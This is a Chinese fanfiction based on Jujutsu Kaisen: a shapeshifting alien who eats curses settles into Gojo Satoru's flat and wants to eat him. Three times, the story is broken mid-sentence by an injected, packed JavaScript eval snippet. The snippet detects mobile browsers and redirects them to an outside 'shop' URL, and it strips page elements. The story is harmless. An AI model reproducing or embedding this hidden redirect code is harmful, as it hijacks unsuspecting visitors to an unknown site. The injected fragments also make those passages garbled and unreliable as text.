《[咒回]我想吃掉五条悟》 1. 想吃的第一天 地球,X国卫星监测基地。 现在是晚上十一点,监测室里只剩下了负责夜间监控和报告的工作人员。 突然,显示屏上出现了一个正在向地球方向飞速接近的异常光点,但很快,这个光点就消失在电子屏幕上。 坐在控制面板前的中村法子揉了揉眼睛,翻开后台记录,确认没有任何异常后,就没再关注这边的状况,只把这当作自己工作太久产生的幻觉,她拿起手边的咖啡牛饮一口,耸耸肩膀稍微活动一下关节,又开始整理白天监测到的数据。 她不知道,自己的这一失职将拯救数以万计的人类。 · 这是我降落地球的第一天。 感谢概率论,百分之七十的水体表面为我准备了足够隐蔽的出生点,这片区域没有成为灾难电影的拍摄片场,我只低调的溅起陨石水准的水花。 第一天,我的食物是海洋居民,说来惭愧,虽然屠戮了几个大小族群,但它们不仅毫无营养,还难吃的很,我很后悔把它们当成我在地球的第一餐。 吐出最后半条鱼,我尝试用力摆动着刚刚长出的鱼尾,发现它并没有我想象的便利后,又放弃了,干脆用我熟悉的方式冲向陆地。 冲击之下,岸边出现一道的海湾,后来成了吸引游客的打卡点,名字叫海豚湾。 也巧,被我吐掉的那半条鱼学名就叫海豚。 我在海里的时候记住了人类的长相,他们长着四肢,顶部有一处突起,那上面有很多触须,他们管这个叫头发。 尽管我觉得人类是如此奇怪的生物,但既然他们住在这里,我又想融入其中,我最好还是好好利用自己的能力,也就是模仿。 准确来说是模拟,我能随意调动自己身上的任何一处构成,并把它们变化成我想要的物质和形态,我不知道自己哪来的这种能力,人类有种吃什么补什么的说法,好吧,那我可能就是单纯吃太杂了。 正式登陆时,我已经给自己变出一副人类的躯体,我给自己选择的性别是雌性,因为雄性人类在两腿之间有一块碍事的肉,腿到腰的部分又要被一层皮裹住,那块肉夹在腿和皮中间,我还得找个位置放它—— 好麻烦,于是我选择成为女人。 我以人类的身份度过的第二天还没完全结束,深夜在街头乱晃的我被当成危险分子,我还无法完全理解人类的语言,许是说错话吓到了人,那些人还想把我关起来。 我当时就跑了。 其实我要是选在一个穷人居住的街区就不会碰上这样的麻烦,有钱人害怕外来危险分子,穷人才没这么多讲究。 我没跑多远,因为不想再被缠上,我决定找个地方躲起来,像那些躲在亮着光的封闭洞穴里的人类一样。 我不是不能杀了那些妨碍我的人,但如果你不打算彻底消灭某个族群,又不离开他们的部落,那你最好不要动他们之中的任何一个。 因为只要死了一个同伴,无论是出于恐慌还是愤怒,剩下的那些就会源源不断的找上门。 我当然可以来者不拒的把它们全都当成食物,但我也不是什么都吃的。 可以说我为进食而努力的生命历程中,其实只有短短的百分之二十是在享受食物,剩下的百分之八十全部用于寻找可以作为享受的食物。 我喜欢食物,美食万岁。 我循着‘山’的外壁,找到一个缺口,又把自己缩成足以通过的大小,转几个弯,就来到出口。 终于,我也住进洞穴了,哦不,应该说是我家。 我打量着我的新家,这里有很多我不能理解的东西,但我喜欢这里残余的味道。 像是某种极其诱人的食物残留下来的味道... ... ... 是谁抢先一步。 我有些懊恼,但想到街上络绎不绝的人类,和几处香气四溢的觅食点,我又找回耐心。 这里食物丰富,我要耐心一点,不能再失手毁掉一切。 想到这里,我收敛呼吸,并将全身细胞改造成完全透明的状态,凭人类的感知能力,是没有办法发现我的,毕竟刚才我就是这么从那群人类的注视下逃跑的。 他们不停的发出“欸欸欸”的叫声,还有人用手揉眼睛,就是没人发现我正在默默离开。 我搜遍了我家,只看到墙上挂着一些图片,里面有一个频繁出现的男人,我想到一种可能,对我不好的可能。 所以我决定不想,也装作没看见,继续在家里四处巡视。 在我小小的家里,有一个小小的石块,它软极了,蹲在上面的时候会让我有种还在母星的怀念。 母星是一个脆弱的壳,当我看清世界的第一刻起,她就陨落了。 为了接住她破碎的结构,我长出了触须,触须又分殖出触须,交织在一起,形成一张密不透风的网—— 可我还是没能留住我的母星,她的残骸在我用触须构成的怀抱中化作光尘,一点一点扬起,最后化为乌有,与宇宙本身融为一体,她无处不在,但原来的她却成了我永远无法触及的存在。 我再也无法回到母星的怀里,想她的时候我会注释星空,现在我找到了一个极为相似的替代品。 我用人类的形态蹲在上面,然后一点一点下陷,直到被它完全包裹。 好幸福,这个时候如果能再吃到美味的食物就更幸福了. 晚上出门觅食还是引人注意,尽管我听到了不远处还有大批人类正在活动,但避免麻烦,我还是谨慎一点。 我在第二母星怀里待到了天亮,等周围的声响也开始变得密集,我走出了家。 不巧,旁边也有人类出来,他惊讶的看了我一眼,叽里咕噜说了句什么,我没听懂。 他的脸上出现几道褶,安静离开了,周身散发出消沉的气息。 我默默盯着他的后脑勺,想不出个所以然,又放弃了。 叮——的一声,那个把我和他一起运下山的铁盒子自己打开了,他一副见怪不怪的样子,看来这是这个东西运作的常态。 走出铁盒的我回头看了一眼,朝它点头致意。 我又满意了一点。 正如我所预料的,这里的食物很多,人也好,人吃的食物也好,都在我的食谱上。 我找到一处人类集中进食的地方坐下,有人递给我一张纸,这个有趣的小东西叫‘菜单’。 我装模作样的点点头,放下菜单离开了。 因为我没有钱。 我当然可以用身体变换,但我浅薄的人类知识告诉我,如果我一直用这种简单粗暴的方式解决所有问题,迟早会惹出麻烦,要想长久生活在人类之间,最好用他们的方式生存。 好的,我知道自己要找什么了。 我要找一份工作。 我的第一份工作,是一家居酒屋的服务员,只需要把一些食物从一个地方送到另一个地方就好。 但因为我在用触须偷吃的时候被发现,准确来说是被一位常客发现分量不对,经理在跟厨师核对后,准确揪出真凶,也就是在下,于是我的第一笔薪酬就只有偷吃到的几块炸鸡。 我痛定思痛,决定再也不去食物密集的地方工作,于是我钻进了写字楼、是的,我现在知道它叫楼,而不是山了。 经历几次失败,我终于积累够经验,综合其他人提交的材料,我也给自己编出了一份像模像样的东西,但最终录用我的人类根本没看这些,只笑意盈盈的让我跟他走。 我被带到一层紧凑的空间,密密麻麻的格子里住着一个个散发着消极气息的人类,我甚至看到一些人类看不到、但也经常在地球上看到的一些居民。 奇怪的是,这些东西对我的反应很剧烈,明明我已经隐匿自己的气息了,嗯. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159517|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...难道是因为我这几天吃了太多它们的同类? 这也不怪我吧,我饿着肚子,又吃不了人,它们虽然长得也怪,但吃起来倒是异常可口,我一个没忍住,把它们大大小小的同胞全笑纳了。 想到这里,我伸出触须,一个猛刺,就让那只躲在饮水机后面的小东西失去行动能力,而后我的触须像绳索一样一圈一圈把它包裹起来,再散开的时候,它已经消失了。 “还有就是...嗯,这里,这里就是你的位置了。” 把我招进来的男人带我来到一个格子中间,旁边的人头也不抬,直到男人拍了拍她的肩膀。 “这位是新来的佐藤艾利恩小姐,你给她介绍一下她接下来的工作吧。” 女人笑着答应了,笑容诡异。 我最近练习时经常露出那种笑容,最后发现还是面无表情适合我。 我开始工作了。 内容很简单,在电脑上敲敲打打,把一堆数字填进一个表格,又把表格整理成各种不同的表格。 再填。 再整理。 我的一天结束了。 我发现自己居然一天都没有进食。 我恍惚了。 我缩进我的第二母星,头一次不想再往外踏出一步。 次日,当太阳再次升起时,我没有再去那个满是格子的地方。 距离我来到地球已经过去半个月,这半个月来我没吃一个人,因为人类身上的香气甚至没有我吃掉的那些他们看不见的怪物来的浓郁。 而且我发现我对人类的食物也没有什么兴趣,我根本就不需要钱。 我只需要我想要的食物。 我改变策略,一心一意的寻找可口的怪物。 但不知道为什么,在找寻那些闻起来特别诱人的食物时,我总是慢人一步,也许地球上还有其他和我一样喜欢吃怪物的东西? 后来我干脆在每个区域留下部分触须,等检测到怪物的活动迹象,就当场出击。 最近算是难得的满足了,不需要忍饥饿,也不需要四处流浪——我才知道原来自己之前的状态本质是在流浪。 时间过去一个月,成功习得人类社会常识的我跟邻居也建立起联系。 据他所言,上一个住在我家的是一个高个子的白发男人,他猜对方应该是模特,常年在外拍摄,经常不回家,最后果然是搬走了,应该是搬到方便工作的地方去了吧。他这样猜测着。 我想到我家的那几张照片,和那上面占幅大到让人难以忽视的白色身影,我决定从身体里删掉刚才听到的信息。 经过一个月的适应,我终于摸清人类的活动规律,其实晚上也是可以出门的,只要不在人迹罕至、又有监控的地方做出太诡异的举动,一般也是不会惊动警察的。 更何况我的食物还是根本不会被人类看到、更不会被拍到的存在。 我只管堂堂正正的走在大街上,身后的触须自会替我大快朵颐。 只是通宵行走未免太过诡异,等天黑的差不多,我又回到家。 这次还没到家门口,我就知道家里有人。 我一如往常的用触须开门,装作看不见堂而皇之的灯光,走向我的第二母星。 属于我的位置上,坐着一个男人。 白发,比很多人类都高,眼睛被绷带缠住,或许是个瞎子。 见我没有其他动作,男人嘴上擎着的那点笑意扩大了,连残余的疲惫都消失了。 “晚上好,寄居蟹小姐。” “在我家住的还满意吗?” 我模仿着他的表情,也笑了。 “呵...” 甚至发出了声音。 啊,好香,真的好香。 吃掉,想吃掉,无论如何都想吃掉他。 我想吃掉五条悟——这个似乎是叫五条悟的人类。 2. 想吃的第二天 五条悟已经一个月没回家了,任务结束不是在车上打盹就是在高专的宿舍凑合几个小时。 他甚至开始觉得有些浪费,功能上的浪费。 比如某天灵光一闪,突然领悟全新的术式,发现根本没有用的上的场合,哪怕根本没有花费多少精力,无用的存在本身就是一种浪费。 也许是这个莫名其妙的想法占据他太多思绪,他决定回家一趟。 明明新家就在东京,但以外勤为主的工作性质却让他陷入有家没空回的处境。 除非哪天咒灵们突然集体消失,留下一张‘这么多年真是辛苦你们了,从今往后就不给大家添麻烦了’的字条—— 一想到这里,五条悟甚至能哼出一段会被稚名林檎作为灵感写出一整张新专辑的旋律,不知道歌舞伎町女王的吉他和皱巴巴的老爷爷的吉他谁比较厉害。 ... 正常人都会选宇多田光吧!如果一定要跟稚名林檎放在一起的话,乐严寺那种老头子算什么啦。 嗯嗯,一定是这样没错,五条悟甚至为自己的结论找到有力证据: 咒灵一定听了宇多田光发布的新专辑,感动到纷纷原地成佛,所以最近的咒灵数量才罕见的开始减少。 怀揣着对这位勤劳女歌手的感激之情,五条悟回到位于东京的新家。 刚走进电梯,就发现有个眼熟的男人正在通过电梯门的反光偷看自己。 不是咒术师,虽然眼神可疑,但无疑就是个普通人。 五条悟从一个月前的记忆录像带里找出男人的身影。 “啊,好久没回来了。” 他自来熟的跟对方搭起了话,试图通过主动透露的信息打消对方的疑虑:嚯啦嚯啦,是邻居啦,虽然绷带造型有点奇怪,但不是什么危险人物哦~ 可惜的是,对方并没有接收到他的信号。 五条悟放下打招呼的手,重新插回口袋,目视前方,嘴角的笑意没有放松。 怎么更紧张了。 五条悟愉快的疑惑着,咒灵大幅减少带来的好心情未曾受到影响。 小野悠人其实不是害怕,而是替五条悟担心。 他早就觉得那个女人很奇怪了,第一天的时候还以为她是哑巴,后来见她也会正常说话,以为是自己想多了,结果她又开始半夜外出,出去一会还会自觉回来,回来以后还是面无表情,但总给人一种酒足饭饱的酣足感。 他想到食人魔汉尼拔系列剧,衣冠楚楚的精英教授,也是表面上维持着正常人的样子,实际上是个茹毛饮血的恶魔! 可看着女人人畜无害的模样,他又开始自我反思,自己是不是最近压力太大,臆想症状加深了。 上高中的时候他总能看见一些别人看不见的东西,但只有一些模模糊糊的影子,等高中毕业,事业稳步上升以后就再也没看过了。 嗯,没错,一定是那时候留下的后遗症。 他自我安慰到,毕竟在这之前,他不是对那位男邻居也有过怀疑吗?觉得那是个会把谁的脑袋拔下来当足球踩着玩的变态杀人狂——毕竟他笑起来的样子真的很适合这种画面啊。 好在经过这段时间的观察,他也确认女人只是单纯喜欢半夜出门散步,悬着的心逐渐放下... 放早了。 看到这位本该搬走的男邻居重新走进电梯时,小野悠人混乱了。 什么叫‘好久没回’——那个已经不是你家了吧?你不是已经搬走了吗?!他都跟新搬进来的人打过招呼...等等。 小野悠人终于意识到自己忽略了什么。 如果眼前的男人真的搬走了,而那个女人也是‘正常’搬进来的话...搬家公司的人呢? 哪怕是正好在他上班的时候有人来搬过家私,但在这之外呢?这一个月以来,有快递员之类的服务人员去过隔壁吗?完全没有吧。 他当然知道自己这样关注邻居的动态很奇怪,但他的邻居难道就正常吗! “总感觉...你好像想了很多事情啊,不会跟我有关吧?” “别看我这样,其实不是坏人哦。” 五条悟走出电梯,一边向前走,一边侧过来指着自己的绷带眼罩说。 他步幅太大,还没等男人跟上,自己就走到家门口了。 他在门锁上发现了一些有意思的东西。 咒力残秽? 不,形态或许相似,但气息...还是该说感觉,完全不一样。 “那个...” “嗯?” 小野悠人被他过于迅速的回应吓了一跳。 可五条悟还在盯着他看...话说他到底是怎么回事,既然能看见为什么要蒙着绷带...不对,应该问蒙着绷带是怎么看见的吧!说到底为什么要把绷带蒙在眼睛上啊。 “你们见过了吗?” 五条悟伸出一根手指,指了指屋内。 小野悠人愣了一会,渐渐的,持续多日的阴霾终于烟消云散。 原来如此,原来是这么回事啊! 他就说肯定是他想多了! 原来他们根本就互相认识啊,也是,谁会把房子让给不认识的人住呢。所以这两个人是情侣?算了,还是先不要乱猜了。 “诶多...是,出门的时候碰到过几次。” 五条悟饶有兴致的勾起嘴角。 能看见吗,那看来就不是咒灵,诅咒师?还是老橘子那边派来的? 如果是‘碰到过几次’,应该不是简单的来过几次的意思吧,而且看他这位邻居谨慎过头的个性,对方应该没有做过太诡异的事情...起码在非咒术界人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159518|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士看来。 两人道别以后就各自进屋,五条悟发现门锁上的痕迹,家里同样存在,还不止一处。 最为明显的当属他那把买来就只坐过一次的单人沙发,当时他还嫌太小太软,想找机会处理掉来着。 倒是便宜‘这家伙’了。 也许是因为家中没有被破坏的痕迹,也许是因为从邻居的反应中推测出一部分人物侧写,五条悟对这个私闯民宅、却又没做什么坏事的家伙的印象倒是不差。 话说刚才是不是应该多问两句,跟他那位邻居。 五条悟原本是坐在单人椅上的,这把是后来他从家具杂志上翻到介绍,直接下单的,感觉还不错。 可他看着看着那张单人沙发,一想到最喜欢它的人很快就要回来,五条悟又有了好主意。 当我回到家的时候,他就这样坐在我的第二母星上,长而无用的两条下肢摆在地上,他没有被我的第二母星接纳。 但我还是挺想、不,应该说是很想‘接纳’他。 “看来是很满意了。”五条悟作出总结。 至于我为什么知道他的名字,还多亏了其中一张照片,有天照片不小心掉到了地上,我随手捡起的时候看到背面对应着人像的签名。 他生气了吗?也许是,但我已经不在乎了,我现在只有一个想法,就是该怎么让他自愿被我吃掉。 我察觉到他身上有什么在流动,那种不可名状的流动体很可能就是他美味的来源,随着他的呼吸,流动的频率也有细微变化。 跟那些被我吃掉的怪物身上的东西有点像,但不完全一样,他太特别了。 或许是我将欲望表露的太过明显,他也进入某种戒备状态,没那么好下手了。 我能察觉到食物之间的强弱对比,与我在地球上吃掉的所有怪物相比,眼前的这个人类,无疑是最强的。 我将触须的形态调整至透明,又有意让触须的移动与空气流动同频,终于,在他毫无反应的放任中,一根手指粗的触须来到他眼前。 他依旧不为所动。 终于,泛着淡蓝色的触须毫无阻碍的贴在男人的鼻尖上。 他的笑容终于僵住。 当触须自鼻尖滑落,又沿着男人高挺光洁的鼻背来到脸颊,做了个类似于舔舐的动作,我是在尝试一种名为冰淇淋的食物的时候学会的这个动作。 他应该更加害怕,却因为我的动作笑出了声。 “你...该不会是痴女吧?” 非常奇妙。 我居然尝到了笑声中的愉悦,这让他更美味了,这简直... 太棒了。 “你很高兴?” 我礼貌的问,声音放的很轻,触须的动作却未曾停止。 我想维持他的愉悦,最好是永远。 3. 想吃的第三天 他没有回答我的问题,反倒是问起我来了: “虽然不太礼貌,但你看上去也不喜欢绕弯子,那我就直接问了——你是什么?咒灵?咒术师?” “抱歉,我听不懂你在说什么,能解释一下吗?咒灵?咒术师?” “啊啊,是我的问题,还是换个问法吧,比如...这是什么?” 他指了指自己的脸颊。 “你的...脸?”我歪了歪头,开始怀疑这个人类脑子是不是有点问题。 五条悟笑了,听上去他倒还有些意外,他笑着说: “看你有问必答的样子,没想到还挺擅长说谎,真是个表里不一的孩子啊。” 话音未落,触须的动作就被迫停止—— 他直接抓了上去,但就在被他抓住的瞬间,透明的触须泛起幽蓝色的微光,又散作无数光点,同时消散。 “藏起来也没用,已经看见了哦。” 他用手指点着触须消失的位置,那里只剩下空气。 “可以请你当作没看见吗?”这是我最后的办法。 “不行。”他一本正经的摇头,不肯配合。 “是触须,我的触须。” 没办法了。 人类讨厌被人欺骗,我已经骗过他一次了,还被他当场戳穿。 “哦~哦,原来是触须啊,我还没见过长触须的‘人类’呢。” 他故意把最后两个字读的很重,我知道,这是人类另一种提问的方式,更委婉,只在谈话双方都处于放松状态的情况下使用。 “如你所见,我不是人类。” “唔。” 五条悟调整了姿势,双腿不再交叠在一起,而是向两侧打开,手肘则撑在一侧的膝盖上,掌心拖着下巴,他这样专注的盯了我好一会,才不紧不慢的开口: “如我所见,你完全就是人类嘛,除了‘你的触须’。” 他模仿着我说话的语调...什么意思。 为什么要学我。 他听不懂吗。 “所以...怎么了?” “所以...”他又开始学我说话了,“这位不是人类,却长得跟人类一模一样的小姐,你到底是什么东西呢?为什么要住在我家?还有刚才那个——那个又是什么情况呢?” 一边说,他一边站起,一步一步朝我走来,他似乎完全忘记我的触须还可以随时出现,不,重点不在于我身体的某个部位。 只要我需要,任何一部分的我都可以独立完成捕食的动作,对于被捕食者而言,越接近我,越靠近危险本身。 他在距我一步远的地方停下,房间顶光配合他的身高,在我身上投下一道阴影。 “这个就说来话长了。” 我一字一句,说的很慢。 “哈哈哈...有意思。”他双手撑在腰与髋的连接处,适时退出一步,又变成抱臂的姿势。 魔术师吗,舞蹈家?手部动作这么多。 “要坐下来聊聊吗?”他退到刚才坐着的地方,但没有选择坐下,而是绕到后方,一手扶着靠背,一手放在靠背前方,做出一个邀请的手势:“这边这边,这是你最喜欢的位置对不对?” 他甚至拍了拍靠背的软垫,怎么看都不怀好意。 于是我走了过去,终于回到我最喜欢的角落。 我最喜欢的姿势是蹲坐在靠背和坐垫的夹角处,双腿屈起,两手就搭在膝头。 “用你们的话来说,我算是外星人。” · 夏天又变热了,奇怪的是往年应该趁机疯长的咒灵,这会却没闹出什么动静。 “有发现了吗?” 夏油杰坐在窗边,夕阳照的袈裟上的金色条纹泛出金属光泽,听到身后的开门声,他头也不回的问。 “具体的原因还没办法确定,但是有一块区域,已经有一个月没有发生咒灵事件了。” “‘没有发生’?” “嗯,连残秽都没有发现,除非有人在祓除后还把现场打扫的干干净净。” “哈。”夏油杰不知道是想到了什么,居然被笑出了声,“有那种必要吗?” 这不是一个需要回答的问题。 “然后呢?有什么特别之处?” 夏油杰拢着宽大的袖口,网状的黄金软甲在他怀里流动,他漫不经心的问道。 “有人在附近看到了五条悟。” “都是他一个人的功劳?” “应该不是,他是最近一周才频繁出现在附近的,准确来说是住在附近的某个地方,还有就是...” 说话的人突然有些犹豫。 “说来听听好了,就当是闲聊。”夏油杰随意摆了摆手。 “如果没有猜错的话,他大概是在跟人同居,那个人看不出什么底细,因为没有咒灵在附近,连是不是咒术师也无法确定。” “女人?”夏油杰心情复杂,他知道按照常理就该这样猜测,但这样寻常的一件事情真正说出来连他自己都觉得诡异。 “女人。”说话的人肯定道。 ... 沉默六秒后,夏油杰看着和谐到有些莫名其妙的夕阳,对于接下来的这句话实在是不吐不快: “我们...本意不是想聊八卦,对吧。” 对面的人只犹豫了一秒,但又的的确确的犹豫了一秒,哪怕只是一秒。 “嗯。” “这算什么...”夏油杰小声嘀咕了一句,不带任何目的,只是不认真的抱怨。 · “这算什么,悟。” 我和五条悟在逛超市,本周第三次。 互相叫名字的方案是他提出来的,因为我没有可以用来称呼的真实姓氏,假名‘艾利恩’也是用的‘alien’——外星人的音译,于是自认为向来与人为善的五条悟决定让我也叫他的名字。 在听我说完自己的真实身份后,五条悟问了我三个问题。 第一个问题是我为什么要来地球。 我说是为了觅食。 紧接着就是第二个问题,他问我都吃什么。 回答的时候,我盯着他看了一会,在犹豫该怎么协商才能让他自愿被我吃掉。 他很快联想到我此前对他做过的事情,问我自己有没有在我的食谱上。 坦诚如我,当即点头。 紧接着我又主动解释自己这些天都吃了些什么,我不想让他产生只有自己是我的食物的观念,虽然还不确定,但我单方面认为这会给他造成不小的压力,不利于我们最后的谈判。 谈到这个话题的时候他又回到被触须触碰到的状态了,我猜他是担心我有吃掉他一些同类,这个我也得解释清楚。 “嗯...人类好像看不见那些东西,但我可以大概跟你描述一下。” “外形不同于任何一种动物,一定要说的话跟海底那些奇怪的无脊椎生物更接近,但又无法用人类生物学解释它们的构造。” “明明长相跟人类毫无关联,但又能说一些人类的语言,也许是因为智力发育不足,只会重复特定的词句。” “如果能被人类看见的话,大概...会被叫作‘怪物’吧。” 听完我的话,五条悟愣了一会,然后笑了。 紧接着他问了我第三个问题。 “好吃吗?咒灵。” 我说相当可口。 然后他就让我在他家继续住下去了,我跟他强调,这里已经是我家了。 一开始他还摆出能证明自己主人身份的证据,但因为我选择性无视的态度,他最终放弃跟我争论这个话题,只说了一句—— “好吧,总算不浪费...” “那你要好好爱护这里哦,像爱护自己家一样。” 他说这句话的时候,做了个我不理解的动作,他拍了拍我的头,像大人对待小孩子。 首先这绝对是错误的做法,因为单从出生年龄来看,无论怎么算,他都不可能比我大。 其次,我总觉得他说的‘这里’,不止是指这间房子,而是一个更广阔,更复杂的概念。 当天晚上我依旧外出觅食,五条悟问我能不能带他一起。 “可以,但我最多只能分十分之一的食物给你。” “我可没有那种糟糕的品味...啊,不是说你啦。” ...明明就有在扫射我啊,但我决定不跟他计较。 “话说为什么要分食物给我呢,艾莉恩一直这么大方吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159519|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “因为我希望你开心。” “为什么?你喜欢我吗?” 喜欢吗...这么理解倒也没错。 “嗯。” 五条悟不说话了,直到他看见我猎食咒灵——他告诉我我所吃掉的那些就是他说过的咒灵,而为了减少他对自己结局的恐惧,我特意选择了温和的进食方式。 我用触须织成一张柔软的网,在咒灵们还未曾察觉的时候悄悄逼近,直到生命的最后,那只被织网包裹的咒灵都没有感受到一丝死亡与恐惧带来的痛苦。 无声无息,干干净净。 仿佛回到自身诞生之初。 “食物也成为了你的一部分?可以这样理解吗。” 五条悟单手摩梭着下巴,笑容丝毫不减,我觉得他看我的眼神好像在哪见过。 好像...在那些听说孩子考了满分的家长脸上见过。 我必须纠正他这种错误观念了。 “我不是你的孩子。” “哈哈哈——当然。” 他甚至没有为自己的错误道歉,明明这里的人很喜欢道歉,哪怕不觉得自己有错。 五条悟,像他这样的人,大概就是人类所说的‘异类’吧。 “艾利恩每天都需要‘吃饭’吗?” “好笨的问题。” “好没礼貌。” “嗯,因为你看上去不需要我对你特别礼貌,也不会因为这个生气。” “我生气了哦,超——生气。” “不,你没有。” “话说你是不是舔了我一下,好快啊。” “...” “突然变得没礼貌就算了,连诚实的品格都丢掉了,被咒灵污染了吗!” “没有这种情况。” “干脆来当咒术师吧,这样每天都有吃不完的咒灵哦,还不用自己去找,会有人用小铁盒子送你——” “我姑且知道汽车这种东西,而且不要,咒灵对我来说不是最美味的食物,不吃也不会饿死。” “那提问——艾利恩最喜欢的食物是?” 他用手比了个麦克风,煞有介事的举在我面前。 我收回的触须再次伸出,像握手似的搭在他主动伸出的手上—— “五条悟。” 他没有把手收回去。 “你早就想这么说了,对吧。” “嗯。”我伸出更多触须,直到将他的整个手包住。 “真正可口的其实是咒力。”他继续道。 “嗯。” “你还没有见过其他咒术师吧。” “嗯,但我不觉得咒术师和咒灵的区别,会比咒灵与咒灵之间的区别更大,所以放心好了,我不是因为你是咒术师才想吃掉你的。” “我该觉得荣幸吗?” “正常来说你应该害怕。” “接下来该谈条件了吧。” “嗯,我会努力满足你的需求,只要你愿意开心的被我吃掉。” 我听说过阿拉丁神灯的故事,有人说如果自己是阿拉丁,就该向精灵许愿要用不完的愿望。 五条悟倒是没这么说,但他用了类似的说法。 “好,那我的第一个条件是——” 去逛超市。 于是第二天一早,我们去了附近的超市。 我对人类的食物和商品不感兴趣,但五条悟还是执着的买了两个购物车的食物,把家里空荡荡的冰箱填满。 然后第二天、第三天。 他总是很早出门,很晚回来,回家后把窝在沙发上的我叫上,再一起去超市。 现在已经是我们第三次逛超市了。 我实在搞不懂,他到底想干什么。 他的朋友也搞不懂,虽然‘朋友’本人否定了‘朋友’的说法,他让我叫他七海。 “关于社会常识的问题都可以问他哦,如你所见,七海海是毫无疑问的常识人!” 五条悟顺着七海的话,再次隆重介绍了他。 他想让我更加融入人类社会,目的... “这就是你的拖延战术吗?” 七海建人继续沉默。 他就不该觉得整天跟五条悟混在一起的会是什么正常人。 4. 想吃的第四天 “生气了吗?”五条悟笑着反问道。 我机械的摇了摇头,转而看向在场的另一人: “初次见面,七海先生,我是艾利恩。因为悟说七海先生是可以信任的人类,所以我就直说了。” “我不是地球人,来到这个星球已经是一个月之前的事情了,请相信,我对地球没有恶意,我只想填饱肚子。” 七海建人只短暂犹豫了一秒,就放下紧抱的双手,板正的贴在裤缝两侧,微微一鞠躬—— “初次见面,艾利恩小姐。关于你的事情五条先生已经跟我说过了,然后...你们两个没有在开玩笑,对吧?” 在说完‘初次见面’的时候,他就重新站的笔直,一丝不苟的站姿,表情严肃,却没有被人捉弄的恼怒,是习惯什么了吗? “抱歉,因为悟接受的太快了,我忘记正常人是没那么容易接受外星人这种概念的,作为没有刻意捉弄您的证明,请您看看这个。” 按照五条悟的建议,触须还是保持着隐形状态,但为了让像七海先生这样的咒术师能看见,我在触须表面附上了一层咒力。 五条悟问过我一个问题,关于被我吃掉的食物是否会变成我的一部分...这样的说法并不准确,我的拟态不是将吃进肚子的东西原模原样的释放,而是解码食物中包含的物质信息,再用身体复刻出来。 用咒术界的说法,我现在使用的实际上是我本人的咒力。 对于我给出的结论,五条悟表示无法接受,因为咒力本质是人的负面情绪外泄凝结的力量,但他无法从我模拟出的咒力中感受到这一特性。 “怎么样怎么样?”五条悟兴奋的问着七海建人,后者单手罩住下半张脸,推了推依靠深邃眼窝保持稳定眼镜。 “改造□□的术式吗。”七海建人猜测到。 换来的是我和五条悟整齐的左右摇头。 “我不是咒术师,这些触须是我身体的一部分,上面的咒力是另外附加上去的,这是悟的建议。” “所以还是...外星人。” “一直都是哦。” “...这个语气词也是五条先生的建议吗。” “是的哦,因为我的话听上去太冷漠了。” “在我看来艾利恩小姐的说话方式没有什么问题。” “啊...”我后知后觉的转头看了某人一眼,他一边推着购物车,一边把家里还没喝完的同款酸奶往里面放。 “所以我是被捉弄了。” “是的。”七海建人果断肯定。 身为始作俑者,五条悟对我们的对话没有给出一丝反应,他完全沉浸在用货架上的商品装满购物车的游戏里了。 “这个家里有,还没有没吃完。”我试图提醒他。 “艾利恩要加油哦。” “可是我不喜欢吃这个。” “欸,骗人的吧,明明有看到你在沙发上吃。” “只是想试试...” “那就多试试吧——布朗尼口味的怎么样?你有试过吗?” “还没有。” 然后他又把那盒只有口味不同的曲奇饼干放进推车。 “如果你打的是让我从这里面尝到更美味的食物从而改变主意的打算——劝你还是放弃。” “好伤心啊,只是代表地球人好好招待一下外星来的客人而已。” “这也没有必要。”说完,我才发现四周过于安静,回头一看,七海建人果然不见了。 五条悟还推着车往前走,超市人太多,我干脆伸手拽住了他的衣角—— “七海先生不见了。” 车轮滚动的咕噜咕噜声停止了,五条悟停下脚步,回头看了看被我抓在手中的衣角。 “想去找他吗?” “不是你的朋友吗?”我真是搞不懂。 搞不懂人类,更搞不懂五条悟。 “和朋友一起出门,如果有人掉队的话,一般都会停下来等他跟上,如果在附近看不到人,就该去把人找回来吧——你们人类不都是这么做的吗?” 五条悟把绷带换成了眼镜,虽然还是不透明的那种。 “艾利恩酱,你见过坏人吗?” “你吗。” “啊,你也学会开玩笑了...总之,你说的做法不是所有人都会照做的啦,人类里面也有很多坏家伙哦。” “但你跟七海先生不是吧。”我默默接过推车,朝着七海建人所在的方向走去,“从目前的表现来看,你和七海先生的道德水平已经超过一般标准了——这样就算好人了吧。” “嗯...咒术师都是这样的吗?”我猜测着。 “大误解,完——全——是大!误!解!”五条悟用空出来的双手在胸前比了大大的叉。 谈话间,我们已经走到烘焙区,找到了停在面包柜台前的七海先生。 